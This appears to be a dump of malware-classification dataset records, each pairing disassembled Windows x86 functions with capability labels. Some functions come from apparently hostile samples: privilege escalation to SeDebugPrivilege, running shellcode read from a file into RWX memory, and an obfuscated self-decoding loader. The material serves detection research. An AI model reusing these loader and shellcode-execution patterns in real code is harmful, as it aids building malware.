joyce8/EMBER2024-capa huggingface dataset:
Function at 0x60bf90
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x208
lea eax, [esp]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
push ebp
push esi
push edi
xor edi, edi
push 0x104
push eax
push edi
push SysStringLen
call ebx
mov esi, dword [esp + 0x21c]
mov ebp, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x60bffb
mov ecx, dword [esi + 8]
push 0
push ecx
call ebp
test eax, eax
je 0x60c035
lea edx, [esp + 0x10]
push esi
push edx
push SysStringLen
call fcn.0060be00
add esp, 0xc
lea eax, [esp + 0x10]
inc edi
push 0x104
push eax
push edi
push SysStringLen
call ebx
test eax, eax
je 0x60bfc5
mov edi, 0x6268b0
mov ecx, dword [esi + 8]
push 0
push ecx
call ebp
test eax, eax
je 0x60c035
mov edx, dword [edi]
push esi
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.0060be00
add edi, 4
add esp, 0xc
cmp edi, 0x6268c0
jb 0x60c000
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x208
ret
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x208
ret

Function at 0x60c070
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x250
push esi
push edi
mov edi, dword [esp + 0x25c]
push 0x5c
push edi
call fcn.00612082
mov esi, eax
add esp, 8
test esi, esi
je 0x60c107
lea eax, [esp + 8]
mov word [esi], 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x60c102
push ebx
lea ebx, [esi + 2]
push ebp
lea ecx, [esp + 0x3c]
push ebx
push ecx
call fcn.00611946
add esp, 8
test eax, eax
je 0x60c0e3
mov ebp, dword [sym.imp.KERNEL32.dll_FindNextFileW]
lea edx, [esp + 0x10]
push edx
push edi
call ebp
test eax, eax
je 0x60c0e8
lea eax, [esp + 0x3c]
push ebx
push eax
call fcn.00611946
add esp, 8
test eax, eax
jne 0x60c0c5
mov word [esi], 0x5c
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp word [esi], 0
pop ebp
pop ebx
je 0x60c102
pop edi
mov al, 1
pop esi
add esp, 0x250
ret
mov word [esi], 0x5c
pop edi
xor al, al
pop esi
add esp, 0x250
ret
Function at 0x60cf10
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x6219fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, dword [esp + 0x2c]
xor ebp, ebp
mov dword [esp + 0x10], eax
xor ebx, ebx
mov eax, 1
mov ecx, ebx
shl eax, cl
mov ecx, dword [esp + 0x10]
test ecx, eax
je 0x60d002
lea edx, [ebx + 0x41]
lea eax, [esp + 0x14]
push edx
push str._c:_
push eax
call fcn.00610dff
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x60d002
lea edx, [esp + 0x14]
push edx
push str.Mounting__s_n
call fcn.006086e0
lea eax, [esp + 0x1c]
lea edi, [esi + 0x1048]
push eax
push edi
mov word [esp + 0x28], bp
call fcn.0061120b
push 0x10
call fcn.006111d3
add esp, 0x14
mov dword [esp + 0x2c], eax
cmp eax, ebp
mov dword [esp + 0x24], ebp
je 0x60cfc5
mov cx, word [edi]
push ecx
mov ecx, eax
call fcn.005fd1c0
jmp 0x60cfc7
xor eax, eax
push esi
mov dword [esp + 0x28], 0xffffffff
mov dword [esi], eax
call fcn.0060cb80
mov edi, dword [esi]
add esp, 4
cmp edi, ebp
je 0x60cff0
mov ecx, edi
call fcn.005fd2c0
push edi
call fcn.006111c8
add esp, 4
mov edx, dword [esi + 0x1024]
push ebp
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x60d021
inc ebx
cmp ebx, 0x20
jb 0x60cf3e
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
add esp, 0x18
ret
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov dword fs:[0], ecx
add esp, 0x18
ret
Function at 0x60e250
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x622808
push 0x612288
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], ebx
xor esi, esi
mov dword [ebp - 0x20], esi
mov byte [ebp - 0x24], bl
mov dword [ebp - 4], ebx
mov byte [ebp - 0x34], bl
mov byte [ebp - 0x33], bl
mov byte [ebp - 0x32], bl
mov byte [ebp - 0x31], bl
mov byte [ebp - 0x30], bl
mov byte [ebp - 0x2f], 5
lea eax, [ebp - 0x1c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x12
push 1
lea ecx, [ebp - 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x60e329
lea edx, [ebp - 0x28]
push edx
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x60e329
mov dword [ebp - 0x2c], ebx
lea eax, [ebp - 0x2c]
push eax
push ebx
push ebx
push 1
mov ecx, dword [ebp - 0x28]
push ecx
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call edi
mov edx, dword [ebp - 0x2c]
push edx
call fcn.006111d3
add esp, 4
mov esi, eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x20], esi
cmp esi, ebx
je 0x60e329
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
push esi
push 1
mov edx, dword [ebp - 0x28]
push edx
call edi
test eax, eax
je 0x60e329
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [esi]
push ecx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0x24], al
jmp 0x60e32c
mov al, byte [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
call fcn.0060e351
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x60ed20
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
lea eax, [esp + 4]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
mov dword [esp + 0x1c], 8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x60ed58
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov dword [esi], ecx
mov dword [esi + 4], edx
pop esi
pop ecx
ret 0x10

Function at 0x60ed60
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
mov eax, dword [ecx + 4]
push esi
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x60ed94
mov eax, dword [esp + 0x14]
test eax, eax
je 0x60ed94
push eax
push esi
call fcn.0061120b
add esp, 8
pop esi
ret 0x10

Function at 0x60eda0
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x24
lea eax, [esp + 0x28]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x60ee22
push ebx
mov ebx, dword [esp + 0x30]
push esi
xor esi, esi
test ebx, ebx
jbe 0x60ee15
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
mov edi, dword [esp + 0x40]
push esi
lea ecx, [esp + 0x18]
push 0x627320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00610dff
mov ecx, dword [esp + 0x44]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
push edx
push edi
push 0
push 0
push eax
push ecx
call ebp
inc esi
add edi, 4
cmp esi, ebx
jb 0x60edda
pop edi
pop ebp
mov edx, dword [esp + 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
add esp, 0x24
ret 0xc

Function at 0x60ee30
Capabilities:
Query or enumerate registry value

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x28
lea eax, [esp + 0x2c]
push eax
mov eax, dword [ecx + 4]
push 0x20019
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x60eec2
push ebp
mov ebp, dword [esp + 0x34]
push esi
xor esi, esi
test ebp, ebp
jbe 0x60eeb5
push ebx
mov ebx, dword [esp + 0x40]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
lea ecx, [esp + 0x1c]
push 0x627320
push ecx
mov dword [esp + 0x1c], 4
call fcn.00610dff
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x40]
push eax
push 0
push 0
push ecx
push edx
call edi
test eax, eax
jne 0x60eeab
mov ax, word [esp + 0x14]
mov word [ebx], ax
inc esi
add ebx, 2
cmp esi, ebp
jb 0x60ee6a
pop edi
pop ebx
mov ecx, dword [esp + 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
add esp, 0x28
ret 0xc
Function at 0x60f000
Capabilities:
Get file version info

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
je 0x60f131
push esi
call fcn.00612145
add esp, 4
mov edi, eax
push edi
push esi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoW
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push ebx
call fcn.00601080
mov ebp, eax
add esp, 0x1c
cmp ebp, 0xffffffff
je 0x60f131
push 0
push ebp
call fcn.006013a0
push 0
push 0
push 0
push 4
push 0
push ebp
mov ebx, eax
call fcn.00601260
add esp, 0x20
mov dword [esp + 0x18], eax
test eax, eax
jne 0x60f08b
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0
push 0
push 0
push 6
push eax
call fcn.006012f0
mov esi, eax
add esp, 0x14
test esi, esi
je 0x60f121
push 0x627918
push edi
call fcn.006103f0
push eax
push ebx
push esi
call fcn.0060ef60
push 0x6278f8
push edi
call fcn.006103f0
push eax
push ebx
push esi
call fcn.0060ef60
push 0x6278d8
push edi
call fcn.006103f0
push eax
push ebx
push esi
call fcn.0060ef60
push 0x6278c0
push edi
call fcn.006103f0
add esp, 0x44
push eax
push ebx
push esi
call fcn.0060ef60
push 0x6278a0
push edi
call fcn.006103f0
push eax
push ebx
push esi
call fcn.0060ef60
push 0x627888
push edi
call fcn.006103f0
push eax
push ebx
push esi
call fcn.0060ef60
add esp, 0x34
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x6101b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00610140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00610140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00610140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00610140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x610bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x610c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x62287c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x610c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x610c52
xor eax, eax
pop esi
leave
ret 4

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x2b001859
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x2b03bee0]
jne 0x2b001863
repz ret
jmp fcn.2b02c235

Function at 0x2b004abc
Capabilities:
Create thread

Disassembly:
push esi
push 0
push 0
mov esi, ecx
push esi
push 0x2b004ae4
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
mov dword [esi + 0x28], eax
test eax, eax
jne 0x2b004ae2
mov ecx, esi
pop esi
jmp fcn.2b004af5
pop esi
ret

Function at 0x2b01a93e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x2b01a94d
pop dword [ebp - 0x48]
mov eax, 0x2b01a94d
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x3a1370ab
add dword [ebp - 0x58], 0x143ed4a0
mov dword [ebp - 0x54], 0x4e27f7b0
add dword [ebp - 0x54], 0xe40b5495
mov dword [ebp - 0x50], 0x8bb335bb
add dword [ebp - 0x50], 0xc0990e73
mov dword [ebp - 0x4c], 0x73aaba8e
sub dword [ebp - 0x4c], 0x73aaba8e
lea eax, [ebp - 0x58]
push eax
mov eax, 0x933065a8
add eax, 0x97d29adc
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x4d5c50d1
sub dword [ebp - 0x58], 0xd8e9e77b
mov dword [ebp - 0x54], 0x79b4f8e6
add dword [ebp - 0x54], 0xc7b7688f
mov dword [ebp - 0x50], 0x846c9c93
add dword [ebp - 0x50], 0xdf02cfd9
mov dword [ebp - 0x4c], 0x4ca99e73
sub dword [ebp - 0x4c], 0x4ca99e73
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x4457e
push 0
call eax
mov ecx, 0xef3eaacc
sub ecx, 0xef3e5cfa
xor esi, esi
add esi, eax
mov edi, 0x2b04ae00
add edi, dword [ebp - 0x48]
mov ebx, 0x17382d9c
add ebx, 0x79817039
xor dword [ebp - 0x10], 0xc26a5797
mov edx, dword [edi]
add dword [ebp - 4], 0xc85e0c68
sub edx, ebx
mov dword [esi], edx
sub dword [ebp - 8], 0x1bcb116a
add esi, 0xf06aa8dc
sub esi, 0xf06aa8d8
add edi, 4
loop 0x2b01aa61
add eax, 0x12a1b
mov ebx, eax
add eax, 0x8e377e25
sub eax, 0x8e377e20
mov ecx, 0xadd10185
sub ecx, 0x82d10185
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x404a3a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x404a5b
jl 0x404a52
test edi, edi
jne 0x404a5b
xor eax, eax
xor edx, edx
jmp 0x404b1c
cmp dword [ebx + 0x38], 0
je 0x404a70
push eax
push edi
push dword [ebp + 8]
call fcn.00404b22
jmp 0x404b1c
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x404ab7
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x404ab7
cmp eax, edi
jb 0x404a91
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.00406700
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x404abd
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x404b11
mov ecx, ebx
call fcn.004042d1
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x404afc
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.0040d87d
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x404b11
jmp 0x404acf
test edx, edx
je 0x404b11
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0040d87d
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x4064e2
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x406521
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x406521
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x406521
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x406521
cmp dword [ecx + 0x74], 0xe
jbe 0x406521
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x414fac
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x427048
push 0x427040
push str.FlsAlloc
push 0x1e
call fcn.00414e19
mov esi, eax
add esp, 0x10
test esi, esi
je 0x414fe0
push dword [ebp + 8]
mov ecx, esi
call dword [0x423148]
call esi
jmp 0x414fe6
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x41502a
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x427058
push 0x427050
push str.FlsGetValue
push 0x20
call fcn.00414e19
mov esi, eax
add esp, 0x10
test esi, esi
je 0x415061
push dword [ebp + 8]
mov ecx, esi
call dword [0x423148]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x416360
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004161d1

Function at 0x41675a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00406650
mov eax, dword [0x42d040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.004136e4
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41679c
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x4168f8
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00421160
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x479410]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00417751
mov ecx, dword [esi*4 + 0x479410]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x4168f1
cmp eax, dword [edi + ecx + 0x24]
jne 0x4168f1
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4168f1
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00417751
add esp, 0x14
test edx, edx
jl 0x4168f1
jg 0x416867
test eax, eax
jb 0x4168f1
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x4168f1
jl 0x416881
cmp dword [ebp - 0x1008], eax
ja 0x4168f1
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41689f
test ebx, ebx
je 0x4168d8
cmp ecx, edi
jae 0x4168d8
mov al, byte [ecx]
cmp al, 0xd
jne 0x4168b9
lea eax, [edi - 1]
cmp ecx, eax
jae 0x4168c5
cmp byte [ecx + 1], 0xa
jne 0x4168c5
inc ecx
jmp 0x4168c5
movzx eax, al
movsx eax, byte [eax + 0x42d300]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41689f
cmp edx, ebx
jne 0x41689f
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x4168f6
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00405899
leave
ret
Function at 0x416bef
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x479410]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x416c2f
cmp byte [ebx], 0xa
jne 0x416c2f
or byte [eax + edi + 0x28], 4
jmp 0x416c34
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x416d32
mov al, byte [edx]
cmp al, 0x1a
je 0x416d14
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x416c63
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x416c88
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x416c92
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x416c45
jmp 0x416d32
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x416d0f
cmp dword [ebp - 0xc], 0
je 0x416d0f
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x479410]
test byte [eax + edi + 0x28], 0x48
je 0x416ce9
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x416cd4
mov byte [esi], dl
jmp 0x416ce5
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x479410]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x416d32
cmp byte [ebp - 1], 0xa
jne 0x416cf8
cmp esi, ebx
jne 0x416cf8
mov byte [esi], 0xa
jmp 0x416d31
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041776f
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x416d32
mov byte [esi], 0xd
jmp 0x416d31
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x479410]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x416d2e
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x416d32
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret